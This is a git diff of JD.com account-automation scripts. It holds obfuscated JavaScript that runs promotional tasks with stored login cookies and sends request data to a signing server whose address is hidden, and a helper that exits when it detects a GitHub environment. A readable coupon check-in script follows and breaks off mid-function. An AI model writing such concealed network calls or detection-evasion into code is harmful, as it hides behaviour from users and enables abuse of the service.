_0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await doTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x49]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 31){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await doTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x4a]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 16|| _0x898ax10[__Oxe61ec[0x40]]=== 3|| _0x898ax10[__Oxe61ec[0x40]]=== 5|| _0x898ax10[__Oxe61ec[0x40]]=== 17|| _0x898ax10[__Oxe61ec[0x40]]=== 21){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await doTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x4b]]); await $[__Oxe61ec[0x2d]](5000)}}}}}}}}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb(_0x898axe)}})})}async function cash_homePage(_0x898ax12= false){let _0x898ax13=__Oxe61ec[0x4c];let _0x898ax14={}; await $[__Oxe61ec[0x2d]](500);let _0x898ax15= await getSign(_0x898ax13,_0x898ax14,111);return new Promise((_0x898axb)=>{$[__Oxe61ec[0x58]](apptaskUrl(_0x898ax13,_0x898ax15),async (_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x3c]}`); await $[__Oxe61ec[0x2d]](5000)}else {if(safeGet(_0x898axe)){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x3d]]=== 0&& _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]]){if(_0x898ax12){if(message){message+= `${__Oxe61ec[0x4d]}${_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x4e]]}${__Oxe61ec[0x4f]}`;allMessage+= `${__Oxe61ec[0x26]}${$[__Oxe61ec[0x1f]]}${__Oxe61ec[0x0]}${$[__Oxe61ec[0x21]]}${__Oxe61ec[0x50]}${message}${__Oxe61ec[0x0]}${$[__Oxe61ec[0x1f]]!== cookiesArr[__Oxe61ec[0x1c]]?__Oxe61ec[0x51]:__Oxe61ec[0x0]}${__Oxe61ec[0x0]}`};console[__Oxe61ec[0x9]](`${__Oxe61ec[0x4d]}${_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x4e]]}${__Oxe61ec[0x4f]}`);return};$[__Oxe61ec[0x2f]]= _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x4e]];console[__Oxe61ec[0x9]](`${__Oxe61ec[0x52]}${$[__Oxe61ec[0x1f]]}${__Oxe61ec[0x53]}${$[__Oxe61ec[0x1d]]}${__Oxe61ec[0x54]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x55]}${_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x56]]}${__Oxe61ec[0x0]}`);let _0x898ax16={'\x69\x6E\x76\x69\x74\x65\x43\x6F\x64\x65':_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x56]],'\x73\x68\x61\x72\x65\x44\x61\x74\x65':_0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x57]]};$[__Oxe61ec[0x57]]= _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x57]];for(let _0x898ax10 of _0x898axe[__Oxe61ec[0x36]][__Oxe61ec[0x3e]][__Oxe61ec[0x3f]]){if(_0x898ax10[__Oxe61ec[0x40]]=== 4){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await appdoTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x46]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 2){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await appdoTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x49]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 30){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await appdoTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x4a]]); await $[__Oxe61ec[0x2d]](5000)}}else {if(_0x898ax10[__Oxe61ec[0x40]]=== 16|| _0x898ax10[__Oxe61ec[0x40]]=== 3|| _0x898ax10[__Oxe61ec[0x40]]=== 5|| _0x898ax10[__Oxe61ec[0x40]]=== 17|| _0x898ax10[__Oxe61ec[0x40]]=== 21){for(let _0x898ax8=_0x898ax10[__Oxe61ec[0x41]];_0x898ax8< _0x898ax10[__Oxe61ec[0x42]];++_0x898ax8){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x43]}${_0x898ax10[__Oxe61ec[0x15]]}${__Oxe61ec[0x44]}${_0x898ax8+ 1}${__Oxe61ec[0x45]}${_0x898ax10[__Oxe61ec[0x42]]}${__Oxe61ec[0x0]}`); await appdoTask(_0x898ax10[__Oxe61ec[0x40]],_0x898ax10[__Oxe61ec[0x48]][__Oxe61ec[0x47]][__Oxe61ec[0x4b]]); await $[__Oxe61ec[0x2d]](5000)}}}}}}}}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb(_0x898axe)}})})}async function appdoTask(_0x898ax18,_0x898ax19){let _0x898ax13=__Oxe61ec[0x59];let _0x898ax14={"\x74\x79\x70\x65":_0x898ax18,"\x74\x61\x73\x6B\x49\x6E\x66\x6F":_0x898ax19}; await $[__Oxe61ec[0x2d]](500);let _0x898ax15= await getSign(_0x898ax13,_0x898ax14,_0x898ax18);return new Promise((_0x898axb)=>{$[__Oxe61ec[0x58]](apptaskUrl(_0x898ax13,_0x898ax15),(_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x3c]}`)}else {if(safeGet(_0x898axe)){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x3d]]=== 0){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x5a]}`)}else {console[__Oxe61ec[0x9]](JSON[__Oxe61ec[0x32]](_0x898axe))}}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb(_0x898axe)}})})}function doTask(_0x898ax18,_0x898ax19){return new Promise((_0x898axb)=>{$[__Oxe61ec[0x3a]](taskUrl(__Oxe61ec[0x59],{"\x74\x79\x70\x65":_0x898ax18,"\x74\x61\x73\x6B\x49\x6E\x66\x6F":_0x898ax19}),(_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x3c]}`)}else {if(safeGet(_0x898axe)){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x3d]]=== 0){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x5a]}`)}else {console[__Oxe61ec[0x9]](_0x898axe)}}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb(_0x898axe)}})})}function getSign(_0x898ax13,_0x898ax14,_0x898ax18){return new Promise(async (_0x898axb)=>{let _0x898ax1c={url:`${__Oxe61ec[0x5b]}`,body:`${__Oxe61ec[0x5c]}${_0x898ax13}${__Oxe61ec[0x5d]}${JSON[__Oxe61ec[0x32]](_0x898ax14)}${__Oxe61ec[0x5e]}${_0x898ax18}${__Oxe61ec[0x0]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxe61ec[0x5f]},timeout:30* 1000};$[__Oxe61ec[0x58]](_0x898ax1c,(_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](JSON[__Oxe61ec[0x32]](_0x898axc));console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x60]}`)}else {_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x3d]]== 0){_0x898axe= _0x898axe[__Oxe61ec[0x36]]}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb(_0x898axe)}})})}function apptaskUrl(_0x898ax13= __Oxe61ec[0x0],_0x898ax14= __Oxe61ec[0x0]){return {url:`${__Oxe61ec[0x0]}${JD_API_HOST}${__Oxe61ec[0x61]}${_0x898ax13}${__Oxe61ec[0x0]}`,body:_0x898ax14,headers:{'\x43\x6F\x6F\x6B\x69\x65':cookie,'\x48\x6F\x73\x74':__Oxe61ec[0x62],'\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E':__Oxe61ec[0x63],'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxe61ec[0x64],'\x52\x65\x66\x65\x72\x65\x72':__Oxe61ec[0x0],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':__Oxe61ec[0x65],'\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65':__Oxe61ec[0x66],'\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe61ec[0x67]}}}function taskUrl(_0x898ax13,_0x898ax14= {}){return {url:`${__Oxe61ec[0x0]}${JD_API_HOST}${__Oxe61ec[0x61]}${_0x898ax13}${__Oxe61ec[0x5d]}${encodeURIComponent(JSON[__Oxe61ec[0x32]](_0x898ax14))}${__Oxe61ec[0x0]}`,headers:{'\x43\x6F\x6F\x6B\x69\x65':cookie,'\x48\x6F\x73\x74':__Oxe61ec[0x62],'\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E':__Oxe61ec[0x63],'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxe61ec[0x68],'\x52\x65\x66\x65\x72\x65\x72':__Oxe61ec[0x69],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':$[__Oxe61ec[0x2]]()?(process[__Oxe61ec[0x7]][__Oxe61ec[0x6a]]?process[__Oxe61ec[0x7]][__Oxe61ec[0x6a]]:(require(__Oxe61ec[0x6c])[__Oxe61ec[0x6b]])):($[__Oxe61ec[0xc]](__Oxe61ec[0x6d])?$[__Oxe61ec[0xc]](__Oxe61ec[0x6d]):__Oxe61ec[0x6e]),'\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65':__Oxe61ec[0x6f],'\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe61ec[0x67]}}}function TotalBean(){return new Promise(async (_0x898axb)=>{const _0x898ax1c={"\x75\x72\x6C":`${__Oxe61ec[0x70]}`,"\x68\x65\x61\x64\x65\x72\x73":{"\x41\x63\x63\x65\x70\x74":__Oxe61ec[0x71],"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":__Oxe61ec[0x64],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe61ec[0x67],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe61ec[0x6f],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe61ec[0x63],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x52\x65\x66\x65\x72\x65\x72":__Oxe61ec[0x72],"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe61ec[0x2]]()?(process[__Oxe61ec[0x7]][__Oxe61ec[0x6a]]?process[__Oxe61ec[0x7]][__Oxe61ec[0x6a]]:(require(__Oxe61ec[0x6c])[__Oxe61ec[0x6b]])):($[__Oxe61ec[0xc]](__Oxe61ec[0x6d])?$[__Oxe61ec[0xc]](__Oxe61ec[0x6d]):__Oxe61ec[0x6e])}};$[__Oxe61ec[0x58]](_0x898ax1c,(_0x898axc,_0x898axd,_0x898axe)=>{try{if(_0x898axc){console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${JSON[__Oxe61ec[0x32]](_0x898axc)}${__Oxe61ec[0x0]}`);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x0]}${$[__Oxe61ec[0x15]]}${__Oxe61ec[0x3c]}`)}else {if(_0x898axe){_0x898axe= JSON[__Oxe61ec[0x34]](_0x898axe);if(_0x898axe[__Oxe61ec[0x73]]=== 13){$[__Oxe61ec[0x20]]= false;return};if(_0x898axe[__Oxe61ec[0x73]]=== 0){$[__Oxe61ec[0x21]]= (_0x898axe[__Oxe61ec[0x74]]&& _0x898axe[__Oxe61ec[0x74]][__Oxe61ec[0x75]])|| $[__Oxe61ec[0x1d]]}else {$[__Oxe61ec[0x21]]= $[__Oxe61ec[0x1d]]}}else {console[__Oxe61ec[0x9]](`${__Oxe61ec[0x76]}`)}}}catch(e){$[__Oxe61ec[0x39]](e,_0x898axd)}finally{_0x898axb()}})})}function safeGet(_0x898axe){try{if( typeof JSON[__Oxe61ec[0x34]](_0x898axe)== __Oxe61ec[0x77]){return true}}catch(e){console[__Oxe61ec[0x9]](e);console[__Oxe61ec[0x9]](`${__Oxe61ec[0x78]}`);return false}}function jsonParse(_0x898ax22){if( typeof _0x898ax22== __Oxe61ec[0x79]){try{return JSON[__Oxe61ec[0x34]](_0x898ax22)}catch(e){console[__Oxe61ec[0x9]](e);$[__Oxe61ec[0x1b]]($[__Oxe61ec[0x15]],__Oxe61ec[0x0],__Oxe61ec[0x7a]);return []}}}(function(_0x898ax23,_0x898ax24,_0x898ax25,_0x898ax26,_0x898ax27,_0x898ax28){_0x898ax28= __Oxe61ec[0x7b];_0x898ax26= function(_0x898ax29){if( typeof alert!== _0x898ax28){alert(_0x898ax29)};if( typeof console!== _0x898ax28){console[__Oxe61ec[0x9]](_0x898ax29)}};_0x898ax25= function(_0x898ax2a,_0x898ax23){return _0x898ax2a+ _0x898ax23};_0x898ax27= _0x898ax25(__Oxe61ec[0x7c],_0x898ax25(_0x898ax25(__Oxe61ec[0x7d],__Oxe61ec[0x7e]),__Oxe61ec[0x7f]));try{_0x898ax23= __encode;if(!( typeof _0x898ax23!== _0x898ax28&& _0x898ax23=== _0x898ax25(__Oxe61ec[0x80],__Oxe61ec[0x81]))){_0x898ax26(_0x898ax27)}}catch(e){_0x898ax26(_0x898ax27)}})({}) + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_ccSign.js b/jd_ccSign.js new file mode 100644 index 0000000..a18f126 --- /dev/null +++ b/jd_ccSign.js @@ -0,0 +1,311 @@ +/* +领券中心签到 + +@感谢 ddo 提供sign算法 +@感谢 匿名大佬 提供pin算法 + +活动入口:领券中心 +更新时间:2021-08-23 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#领券中心签到 +15 0 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js, tag=领券中心签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "15 0 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js,tag=领券中心签到 + +===============Surge================= +领券中心签到 = type=cron,cronexp="15 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js + +============小火箭========= +领券中心签到 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_ccSign.js, cronexpr="15 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('领券中心签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let allMessage = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdSign() + await $.wait(2000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdSign() { + await getCouponConfig() +} + +async function getCouponConfig() { + let functionId = `getCouponConfig` + let body = 